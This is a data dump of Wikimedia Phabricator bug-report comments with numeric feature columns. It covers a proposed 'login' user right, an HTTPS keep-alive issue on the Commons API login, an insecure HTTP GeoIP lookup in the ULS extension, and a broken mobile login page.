",,,1425177825,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,False,,,78,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.3703703703703702,0.8518518518518519,"Change 193658 had a related patch set uploaded (by Zhaofeng Li):
Add 'login' user right

[[GERRIT_URL]]
"
205782,Add new rights: login,JuneHyeon Bae: Are you still working on this?,,,1416496228,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,True,,,64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.8,1.0,JuneHyeon Bae: Are you still working on this?
205776,Add new rights: login,"(In reply to comment #1)
> Could you elaborate which problem you would like to solve by this?

This feature is for approve-based wikis.",,,1363171290,,PHID-USER-ecpjgmrbfxvcanttpazu,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.15,1.0,"(In reply to comment #1)
QUOTE

This feature is for approve-based wikis."
205768,Add new rights: login,Could you elaborate which problem you would like to solve by this?,,,1363165743,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,15.0,15.0,0.0,8.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.230769230769231,0.9230769230769231,Could you elaborate which problem you would like to solve by this?
44129,HTTPS Connection Close for login via API for Commons Wiki with IE user agent,"**Author:** `M8R-udfkkf`

**Description:**
When logging in via the commons API https://commons.wikimedia.org/w/api.php with an IE user agent, the response says ""Connection: close"" even if ""Connection: Keep-Alive"" is set in the request. This behavior is not seen if the user-agent is set to Firefox.

Steps to replicate:
**IE user agent request**

POST https://commons.wikimedia.org/w/api.php HTTP/1.1
Accept: */*
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Host: commons.wikimedia.org
Content-Length: 51
Connection: Keep-Alive
Cache-Control: no-cache

format=xml&action=login&lgname=user&lgpassword=pass

**IE user agent response**
HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Thu, 15 Nov 2012 01:10:11 GMT
Content-Type: text/xml; charset=utf-8
Connection: close
X-Content-Type-Options: nosniff
Cache-Control: private
Set-Cookie: commonswiki_session=<removed>; path=/; secure; HttpOnly
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 173
X-Cache: MISS from cp1003.eqiad.wmnet
X-Cache-Lookup: MISS from cp1003.eqiad.wmnet:3128
X-Cache: MISS from cp1011.eqiad.wmnet
X-Cache-Lookup: MISS from cp1011.eqiad.wmnet:80

<?xml version=""1.0""?><api><login result=""NeedToken"" token=""<removed>"" cookieprefix=""commonswiki"" sessionid=""<removed>"" /></api>

--------------------------------------------------------------------

**Firefox user agent request**
POST https://commons.wikimedia.org/w/api.php HTTP/1.1
Accept: */*
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0
Host: commons.wikimedia.org
Content-Length: 51
Connection: Keep-Alive
Cache-Control: no-cache

format=xml&action=login&lgname=user&lgpassword=pass

**Firefox user agent response**
HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Thu, 15 Nov 2012 01:14:11 GMT
Content-Type: text/xml; charset=utf-8
Connection: keep-alive
X-Content-Type-Options: nosniff
Cache-Control: private
Set-Cookie: commonswiki_session=<removed>; path=/; secure; HttpOnly
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 173
X-Cache: MISS from cp1003.eqiad.wmnet
X-Cache-Lookup: MISS from cp1003.eqiad.wmnet:3128
X-Cache: MISS from cp1010.eqiad.wmnet
X-Cache-Lookup: MISS from cp1010.eqiad.wmnet:80

<?xml version=""1.0""?><api><login result=""NeedToken"" token=""<removed>"" cookieprefix=""commonswiki"" sessionid=""<removed>"" /></api>

Could this be related to:
http://blogs.msdn.com/b/ieinternals/archive/2011/03/26/https-and-connection-close-is-your-apache-modssl-server-configuration-set-to-slow.aspx

--------------------------
**Version**: unspecified
**Severity**: minor
**Whiteboard**: aklapper-moreinfo",Lowest,10.0,1352943360,1354380742.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-b65zbssqxmm4u3spqgrp,task_description,invalid,True,c2,1,False,False,True,-41,True,0.0,0.0,0.0,0.5714285714285714,0.14285714285714285,3.2857142857142856,0.0,0.0,0.0,0.2857142857142857,0.2857142857142857,0.0,0.0,0.0,0.0,0.2857142857142857,0.0,0.7142857142857143,2.5714285714285716,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,1.1428571428571428,1.2857142857142858,0.0,0.14285714285714285,0.0,0.0,0.0,0.2857142857142857,0.42857142857142855,0.0,0.0,0.0,1.8571428571428572,0.0,0.0,0.0,0.0,0.0,12.714285714285714,0.14285714285714285,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.7142857142857143,0.5714285714285714,23.0,0.42857142857142855,0.0,1.2857142857142858,0.0,0.0,0.0,0.0,1.1428571428571428,0.0,2.4285714285714284,0.0,0.0,2.5714285714285716,21.285714285714285,0.2857142857142857,1.8571428571428572,0.0,0.0,0.0,0.14285714285714285,0.14285714285714285,0.0,0.14285714285714285,0.0,0.0,1.0,3.988372093023256,0.5448504983388703,"**Author:** CODE

**Description:**
When logging in via the commons API URL with an IE user agent, the response says ""Connection: close"" even if ""Connection: Keep-Alive"" is set in the request. This behavior is not seen if the user-agent is set to Firefox.

Steps to replicate:
**IE user agent request**

POST URL HTTP/1.1
Accept: */*
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Host: commons.wikimedia.org
Content-Length: 51
Connection: Keep-Alive
Cache-Control: no-cache

format=xml&action=login&lgname=user&lgpassword=pass

**IE user agent response**
HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Thu, 15 Nov 2012 01:10:11 GMT
Content-Type: text/xml; charset=utf-8
Connection: close
X-Content-Type-Options: nosniff
Cache-Control: private
Set-Cookie: commonswiki_session=<removed>; path=/; secure; HttpOnly
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 173
X-Cache: MISS from cp1003.eqiad.wmnet
X-Cache-Lookup: MISS from cp1003.eqiad.wmnet:3128
X-Cache: MISS from cp1011.eqiad.wmnet
X-Cache-Lookup: MISS from cp1011.eqiad.wmnet:80

<?xml version=""1.0""?><api><login result=""NeedToken"" token=""<removed>"" cookieprefix=""commonswiki"" sessionid=""<removed>"" /></api>

--------------------------------------------------------------------

**Firefox user agent request**
POST URL HTTP/1.1
Accept: */*
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0
Host: commons.wikimedia.org
Content-Length: 51
Connection: Keep-Alive
Cache-Control: no-cache

format=xml&action=login&lgname=user&lgpassword=pass

**Firefox user agent response**
HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Thu, 15 Nov 2012 01:14:11 GMT
Content-Type: text/xml; charset=utf-8
Connection: keep-alive
X-Content-Type-Options: nosniff
Cache-Control: private
Set-Cookie: commonswiki_session=<removed>; path=/; secure; HttpOnly
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 173
X-Cache: MISS from cp1003.eqiad.wmnet
X-Cache-Lookup: MISS from cp1003.eqiad.wmnet:3128
X-Cache: MISS from cp1010.eqiad.wmnet
X-Cache-Lookup: MISS from cp1010.eqiad.wmnet:80

<?xml version=""1.0""?><api><login result=""NeedToken"" token=""<removed>"" cookieprefix=""commonswiki"" sessionid=""<removed>"" /></api>

Could this be related to:
URL

--------------------------
**Version**: unspecified
**Severity**: minor
**Whiteboard**: aklapper-moreinfo"
200001,HTTPS Connection Close for login via API for Commons Wiki with IE user agent,"**M8R-udfkkf** wrote:

It works...must've been some windows settings.",,,1354380742,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-b65zbssqxmm4u3spqgrp,task_subcomment,,True,c2,1,False,,,-39,True,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3157894736842106,0.8421052631578947,"**M8R-udfkkf** wrote:

It works...must've been some windows settings."
199995,HTTPS Connection Close for login via API for Commons Wiki with IE user agent,"Unless you're using XMLHttpRequest out of the browser, do not use a browser's user agent. See https://meta.wikimedia.org/wiki/User-Agent_policy.

However, I tried manually sending the same request you list for your ""IE user agent"", and it gave me Connection: keep-alive.",,,1352944708,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-b65zbssqxmm4u3spqgrp,task_subcomment,,True,c2,1,True,,,-41,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,16.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,8.0,4.0,0.0,4.0,0.0,12.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,3.6666666666666665,0.8235294117647058,"Unless you're using XMLHttpRequest out of the browser, do not use a browser's user agent. See URL

However, I tried manually sending the same request you list for your ""IE user agent"", and it gave me Connection: keep-alive."
199990,HTTPS Connection Close for login via API for Commons Wiki with IE user agent,Why are you using an IE user agent?,,,1352943557,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-b65zbssqxmm4u3spqgrp,task_subcomment,,True,c2,1,True,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,11.0,0.0,0.0,0.0,3.111111111111111,1.0,Why are you using an IE user agent?
42965,General-purpose HTTPS-friendly GeoIP solution,"Bug 40714 was invalid, but I think this is a valid request although a low priority one: if the browser doesn't allow to load unsecure resources, the GeoIP lookup to freegeoip.net should be skipped or anyway the behaviour should degrade gracefully (or more gracefully than it currently does). 
Of course chasing browsers is not an option but maybe someone will come up with a smart solution. The linked thread mentions HTTP 304 Not Modified responses which might give some some clue to ULS maybe?

--------------------------
**Version**: master
**Severity**: enhancement
**URL**: https://translatewiki.net/wiki/Thread:Support/HTTP_request_on_HTTPS_translatewiki.net",Lowest,10.0,1349985240,1367223144.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_description,resolved,True,c2,1,True,False,True,-46,True,1.5,1.0,0.0,0.5,2.0,2.5,2.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,7.5,5.5,1.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,0.0,0.0,10.5,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,1.0,0.0,5.0,2.5,9.5,1.0,2.5,8.0,0.0,0.0,0.0,0.0,3.5,0.0,2.0,0.0,1.0,5.5,3.0,1.0,0.0,0.0,1.0,0.0,1.0,2.5,0.0,0.5,0.5,0.0,0.5,4.133333333333333,0.7749999999999999,"Bug 40714 was invalid, but I think this is a valid request although a low priority one: if the browser doesn't allow to load unsecure resources, the GeoIP lookup to freegeoip.net should be skipped or anyway the behaviour should degrade gracefully (or more gracefully than it currently does). 
Of course chasing browsers is not an option but maybe someone will come up with a smart solution. The linked thread mentions HTTP 304 Not Modified responses which might give some some clue to ULS maybe?

--------------------------
**Version**: master
**Severity**: enhancement
**URL**: URL"
206751,General-purpose HTTPS-friendly GeoIP solution,Related URL: https://gerrit.wikimedia.org/r/60995 (Gerrit Change Ia18130890d09f86a93b5b61f7da7c48fcfa480c7),,,1366981201,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ia18130890d09f86a93b5b61f7da7c48fcfa480c7)
206745,General-purpose HTTPS-friendly GeoIP solution,See also gerrit change 31637,,,1351938622,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,True,,,-43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,See also gerrit change 31637
206738,General-purpose HTTPS-friendly GeoIP solution,"> External services are a security risk regardless of whether it is http or
> https.
Yes, but being in http additionally means it is also open to main-in-the-middle, attacks so it disables the https security (for an active attacker).",,,1350129910,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,5.0,8.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5128205128205128,0.7948717948717948,"QUOTE
QUOTE
Yes, but being in http additionally means it is also open to main-in-the-middle, attacks so it disables the https security (for an active attacker)."
206732,General-purpose HTTPS-friendly GeoIP solution,FYI: This request is blocked in Google Chrome by default when browsing translatewiki over HTTPS (as it should).,,,1350109953,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,True,,,-46,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,23.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,14.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.2727272727272725,1.0,FYI: This request is blocked in Google Chrome by default when browsing translatewiki over HTTPS (as it should).
206727,General-purpose HTTPS-friendly GeoIP solution,External services are a security risk regardless of whether it is http or https.,,,1350070884,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.466666666666667,1.0,External services are a security risk regardless of whether it is http or https.
206722,General-purpose HTTPS-friendly GeoIP solution,"You are on an untrusted network, so you only login in https, but as the wiki then loads http://freegeoip.net/json/?callback=mw.uls.setGeo in http, the attacker replaces the answer and runs arbitrary javascript in your browser...",,,1350070178,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,5.0,3.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,16.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.054054054054054,0.8378378378378378,"You are on an untrusted network, so you only login in https, but as the wiki then loads URL in http, the attacker replaces the answer and runs arbitrary javascript in your browser..."
206716,General-purpose HTTPS-friendly GeoIP solution,ULS is degrading gracefully. There is nothing we can do to support https in ULS unless someone sets up https service. We could just not make the requests at all when using https.,,,1350068881,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,False,,,-46,True,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,17.0,14.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,11.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,14.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,4.055555555555555,0.8333333333333334,ULS is degrading gracefully. There is nothing we can do to support https in ULS unless someone sets up https service. We could just not make the requests at all when using https.
42318,Special:UserLogin broken in MobileFrontend,"**Author:** `swalling`

**Description:**
View of login page while browsing via en.m.wikipedia.org

Currently, you can visit the login page (Special:UserLogin) via en.m.wiki... and MobileFrontend will re-skin the page. However, submitting credentials simply reloads the page. 

I understand that there are some blockers around doing mobile logins and registration, but we should probably just serve the desktop view of that page until mobile fully supports login/signup.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F9903}",Lowest,10.0,1347921720,1355942702.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-iomzjz7nzwvbx34243lq,task_description,resolved,True,c2,1,False,False,True,-50,True,1.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.5,0.5,4.0,5.5,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,1.0,0.5,0.5,0.0,2.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.5,12.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,8.5,1.0,2.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,5.5,4.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.218220338983051,0.7227401129943503,"**Author:** CODE

**Description:**
View of login page while browsing via en.m.wikipedia.org

Currently, you can visit the login page (Special:UserLogin) via en.m.wiki... and MobileFrontend will re-skin the page. However, submitting credentials simply reloads the page. 

I understand that there are some blockers around doing mobile logins and registration, but we should probably just serve the desktop view of that page until mobile fully supports login/signup.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F9903}"
192622,Special:UserLogin broken in MobileFrontend,"**swalling** wrote:

Actually I think we can resolve to fixed, even if it's in beta awaiting wider deployment.",,,1355942702,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,11.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,3.4814814814814814,0.8888888888888888,"**swalling** wrote:

Actually I think we can resolve to fixed, even if it's in beta awaiting wider deployment."
192617,Special:UserLogin broken in MobileFrontend,Setting to low since it works in beta and will likely fix itself when functionality migrates.,,,1355942309,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,4.588235294117647,1.0,Setting to low since it works in beta and will likely fix itself when functionality migrates.
